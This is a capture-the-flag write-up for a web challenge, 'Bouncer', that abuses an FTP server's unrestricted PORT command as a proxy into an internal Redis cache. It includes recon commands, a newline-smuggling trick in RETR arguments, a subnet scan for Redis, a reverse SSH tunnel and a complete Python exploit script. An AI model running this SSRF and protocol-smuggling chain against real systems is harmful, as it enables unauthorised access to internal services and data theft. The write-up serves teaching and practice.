Challenge: Bouncer · CTF: DalCTF 2026 · Category: Web · Difficulty: Hard

“Does a kangaroo bounce fast if I attach a rocket engine to it?”

Flag: dalctf{b0unced_4nd_smug9led}

That throwaway flavor text about a bouncing kangaroo is the whole challenge in one sentence. The “bounce” is an FTP bounce attack, and the “rocket engine” is the custom gateway we abuse to smuggle Redis commands across the data channel. The flag — b0unced_4nd_smug9led — confirms it.

This is a long one, because the interesting part of Bouncer isn’t the final exploit (three Redis commands) — it’s the wall of dead ends you have to climb over to earn those three commands. I’m going to walk the whole path, including the things that didn’t work, because that’s where the actual learning is.


1. Recon: a tidy little intranet portal

We’re handed a single URL:

1
https://dalctf-bouncer-277-64616c.instancer.dalctf2026.com/

It’s an Express app (“DAL-NET Internal Services”) with a 120 req/min rate limit. The landing page is mostly flavor, but it’s generous flavor — the system notices read like a checklist of the intended attack chain:

  • Legacy FTP Gateway: “Anonymous access remains enabled for inbound transfers… Access controls are under review.”
  • Storage Panel: “The internal storage management panel has been moved. Authorised staff should locate the new path via the admin index.”
  • Redis Cache: “Data layer is now proxied through the internal gateway. Not externally accessible.”

And tucked in the page source, a very on-the-nose comment:

1
2
// Ping the storage status API — leaks FTP banner in response JSON
fetch('/api/storage/status')...

So we hit it:

1
2
3
4
5
$ curl -s .../api/storage/status
{"gateway":"degraded",
 "ftp":{"host":"instancer.dalctf2026.com","port":"29599",
        "url":"ftp://instancer.dalctf2026.com:29599"},
 "cache":{"host":"nginx","port":6379}}

There it is: a live FTP endpoint on port 29599, and a Redis-shaped cache behind nginx:6379.

robots.txt hands us the “moved” panel:

1
2
User-agent: *
Disallow: /storage-panel

/storage-panel is the money page. It stops hinting and starts documenting the vulnerability:

FTP Gateway: The file transfer service is currently running without egress restrictions on the PORT command. Ticket #4821 open. Until resolved, the gateway can be instructed to initiate outbound connections to arbitrary internal hosts.

Cache Proxy: The nginx instance proxies the internal Redis cache on port 6379. Authentication is disabled.

It even prints an internal services table:

ServiceHostPortNote
FTP Gatewayftp2121Anonymous access, PORT unrestricted
Cache Proxynginx6379Proxies Redis, no auth
Redisredis6379Internal only

The plan writes itself: FTP bounce (SSRF via the PORT command) → reach internal Redis → read the flag. Classic.

The classic plan is also a trap, as we’ll see.


2. The FTP server: anonymous, talkative, and locked down

1
2
3
$ nc instancer.dalctf2026.com 29599
220-DAL-NET File Transfer Service v2.1 ready. Gateway routing active.
    Internal cache proxy: nginx:6379.

Anonymous login works. The command set (FEAT, HELP, SYST215 UNIX Type: L8) is a dead ringer for pyftpdlib, and PORT/EPRT are both present — so FTP bounce should be on the table.

I confirm bounce is enabled by pointing PORT at my own public IP:

1
2
3
4
>> PORT 160,166,49,246,35,40
<< 200 PORT command successful (160.166.49.246:9000).
>> LIST
<< 425 Can't open data connection: timed out

200 on a foreign address = permit_foreign_addresses=True. Bounce confirmed. The 425 timed out is just my home NAT eating the inbound connection — important later.

The classic attack, and why every variant fails

The textbook FTP-bounce-to-Redis goes: upload a file full of Redis commands, then PORT at Redis and RETR the file so the server relays your bytes into Redis. So I check whether I can write anything:

1
2
3
4
5
>> STOR test.txt   -> 550 Not enough privileges.
>> APPE test.txt   -> 550 Not enough privileges.
>> STOU            -> 550 Not enough privileges.
>> MKD x           -> 550 Not enough privileges.
>> DELE / RNFR / SITE CHMOD ... -> 550

Fully read-only. (pyftpdlib checks the write permission before opening a data channel, so these 550s are instant.) I try a pile of credentials (ftp:ftp, admin:admin, partner:partner, …) — only anonymous works, and only read-only.

Next, maybe there’s a flag file I can just RETR. pyftpdlib’s STAT <path> returns a listing over the control channel (no data connection needed), which is perfect since my data channel is dead:

1
2
3
4
>> STAT /
<< 213-Status of "/":
<< 213 End of status.          # empty
>> CWD ..  ; PWD  -> still "/"  # chrooted

Empty chroot. No files to read, nothing to write, no way out.

So I take inventory of what an attacker actually has here:

  • ✅ Make the FTP server open a TCP connection to any host:port (PORT + a transfer command).
  • ❌ Send controlled bytes (no writable files → RETR/LIST only ever emit an empty directory listing).
  • ❌ Read the bounce target’s response (data channel back to me is firewalled both ways).

That is… a blind port scanner. Not a Redis shell. The “classic plan” is dead.

Ruling out the other channels

Before going deeper I make sure I’m not missing an easier path:

  • Web SSRF? /api/storage/status ignores ?url=, ?host=, ?target=. No /api/storage/cache, /fetch, /proxy, /get. Gobuster gets 429-throttled into uselessness. The web app is purely a recon hint dispenser.
  • Direct exposure? nmap of the instance host shows only 80, 443, and 29599. Redis is genuinely internal.
  • Data channel back to me? I test active-mode bounces to my public IP on 9000, 443, 80 — all time out. I’m behind CGNAT; nothing inbound survives.

Everything funnels back to the read-only FTP bounce. So either I’m wrong about its capabilities, or I’m missing something about this specific server. Time to actually look at what it does on the wire.


3. Getting a real data channel (a reverse tunnel)

To understand the bounce I need to see the bytes the server emits on the data connection. I can’t receive inbound at home — so I borrow a reachable endpoint with a free reverse TCP tunnel (pinggy):

1
2
3
# forward a public TCP port to my local 12345
ssh -p443 -R0:localhost:12345 tcp@a.pinggy.io
# -> tcp://ahduj-102-97-10-171.run.pinggy-free.link:45049

The public host resolves to 172.105.85.143:45049. PORT needs IPv4 octets, and 45049 = 175*256 + 249, so my bounce target becomes:

1
PORT 172,105,85,143,175,249

I park a logger on 12345 and tell the FTP server to bounce a LIST at it.


4. The plot twist: it’s not an FTP server, it’s a Redis proxy

The directory is empty, so a normal FTP LIST should send… nothing. Instead my listener captured this:

1
*1\r\n$4\r\nPING\r\n

That is not a directory listing. That is the Redis RESP encoding of the command PING.

The banner’s “Gateway routing active” was literal. This “FTP server” is a custom Redis health-check gateway wearing an FTP costume: when you trigger a transfer, it connects to the PORT target and speaks the Redis protocol at it.

So I swap my dumb logger for a fake Redis that answers, and bounce again:

1
2
3
4
# fake redis: reply +PONG to PING, log everything
def reply_for(data):
    if b"PING" in data.upper(): return b"+PONG\r\n"
    ...
1
2
3
4
5
>> PORT 172,105,85,143,175,249
>> LIST
<< 150 Opening data connection.
<< +PONG                         # <-- MY fake Redis's reply...
<< 226 Transfer complete.        #     ...relayed back over the CONTROL channel!

This changes everything. The gateway is bidirectional: it forwards a command to the target and relays the target’s reply back to me over the FTP control connection. That’s a full request/response primitive — I just need to control the command.

Mapping FTP verbs → Redis commands

I point every FTP verb at my fake Redis and watch what it forwards:

FTP commandBytes sent to target
LIST*1\r\n$4\r\nPING\r\n (hard-coded PING)
RETR flagflag
RETR testtest
RETR GET flagGET flag

RETR <arg> forwards <arg> raw. Arbitrary bytes — exactly what I need. There’s one catch: Redis’s inline protocol executes a command only when it sees a newline, and RETR flag sends flag with no terminator. Can I smuggle a \n into the argument?

1
sock.sendall(b"RETR GET flag\n\r\n")   # note the embedded \n before the FTP \r\n
1
fakeredis RECV: b'GET flag\n'           # the \n made it through!

It does. The gateway strips the RETR prefix and the trailing \r\n, but keeps an embedded \n. So the full primitive is:

RETR <inline redis command>\n\r\n → gateway runs the command against the PORT target and relays the reply over the FTP control channel.

A blind read-only FTP server just became an authenticated-by-nobody Redis client. Now I just need Redis’s address.


5. Finding Redis on the internal network

PORT needs a numeric IP, and EPRT |1|redis|6379| is rejected (501 Invalid EPRT format) — no hostnames allowed. So I have to locate Redis by IP.

The PASV-advertised address 172.16.61.4 is a masquerade (connecting to it from the bounce just times out — it’s not the real container network), but it’s a strong hint that the gateway’s real subnet is 172.16.61.0/24. With the bidirectional relay I now have a perfect oracle: bounce RETR PING\n at each host and watch for a relayed +PONG.

1
2
3
4
def probe(ip):
    # login anon, PORT at ip:6379 (octets ...,24,235), RETR PING\n
    s.sendall(b"RETR PING\n\r\n")
    return read_control(s)   # +PONG => Redis lives here
1
2
3
4
172.16.61.1   550 Failed: [Errno 111] Connection refused     # docker gateway
172.16.61.2   550 Failed: [Errno 111] Connection refused     # web app
172.16.61.3   *** +PONG ***                                   # <-- REDIS
172.16.61.4   550 Failed: [Errno 111] Connection refused     # the FTP gateway itself

172.16.61.3:6379 answers +PONG. Got it.

(The three response classes are themselves a tidy little nmap: +PONG = Redis, Connection refused = host up / port closed, timed out = no host. The FTP bounce + relay turned into a credentialed internal port scanner.)


6. Looting Redis

From here it’s just Redis-over-FTP. Enumerate the keyspace:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
>> RETR KEYS *\n          (PORT -> 172.16.61.3:6379)
<< *7
   $4  flag
   $14 admin:password
   $6  user:1
   $11 secret:key1
   $11 secret:key2
   $4  hint
   $5  tasks
>> RETR DBSIZE\n
<< :7

A flag key, sitting right there. Read it:

1
2
3
>> RETR GET flag\n
<< $28
   dalctf{b0unced_4nd_smug9led}

🚩 dalctf{b0unced_4nd_smug9led}


7. Final exploit

The whole chain, distilled:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import socket, time

FTP_HOST, FTP_PORT = "instancer.dalctf2026.com", 29599   # from /api/storage/status
REDIS = (172, 16, 61, 3)                                  # found via PONG-relay scan

def read(s, w=5):
    s.settimeout(w); buf = b""; end = time.time() + w
    try:
        while time.time() < end:
            d = s.recv(4096)
            if not d: break
            buf += d
            if b"226 " in buf or b"550 " in buf: break
    except OSError: pass
    return buf

def redis_cmd(inline):
    s = socket.create_connection((FTP_HOST, FTP_PORT), 10); read(s, 2)
    s.sendall(b"USER anonymous\r\n"); read(s, 2)
    s.sendall(b"PASS x@x.com\r\n");   read(s, 2)
    # 6379 = 24*256 + 235
    s.sendall(f"PORT {REDIS[0]},{REDIS[1]},{REDIS[2]},{REDIS[3]},24,235\r\n".encode()); read(s, 2)
    # RETR <cmd>\n  -> gateway relays <cmd> to Redis and pipes the reply back
    s.sendall(("RETR " + inline + "\n\r\n").encode())
    r = read(s)
    s.close()
    return (r.replace(b"150 Opening data connection.\r\n", b"")
             .replace(b"226 Transfer complete.\r\n", b"").strip())

print(redis_cmd("KEYS *").decode())
print(redis_cmd("GET flag").decode())

8. Lessons & takeaways

  • The “classic” path was a deliberate trap. Everyone arrives expecting upload-payload → RETR-to-Redis. Read-only + empty chroot kills that stone dead. The challenge wants you to realize the server isn’t a real FTP server at all.
  • When recon dead-ends, instrument the target. I went in circles for a long time reasoning about what should be possible. The breakthrough came the moment I gave myself a real data channel (a reverse tunnel) and looked at the actual bytes*1\r\n$4\r\nPING\r\n instantly reframed the entire challenge.
  • Protocol smuggling via a permissive newline. The single most important detail was that RETR <arg>\n\r\n preserves an embedded \n, satisfying Redis’s inline-command parser. Without it, GET flag just sits in Redis’s buffer forever.
  • A relay turns a blind SSRF into a read primitive. A normal FTP bounce is write-only/blind. Because this gateway pipes the target’s response back over the control channel, it’s a full request/response oracle — good enough to port-scan the subnet and exfiltrate data.
  • b0unced_4nd_smug9led — bounced (FTP PORT SSRF) and smuggled (Redis inline command through the gateway’s data channel). The flag is the summary.

Appendix: tools

  • curl / nmap — recon and exposure check
  • raw Python sockets — full control over FTP control-channel bytes (essential; ftplib hides too much)
  • ssh -R reverse TCP tunnel (pinggy) — a reachable endpoint to observe the bounce from behind NAT
  • a ~30-line fake-Redis — to fingerprint the gateway’s protocol before pointing it at the real thing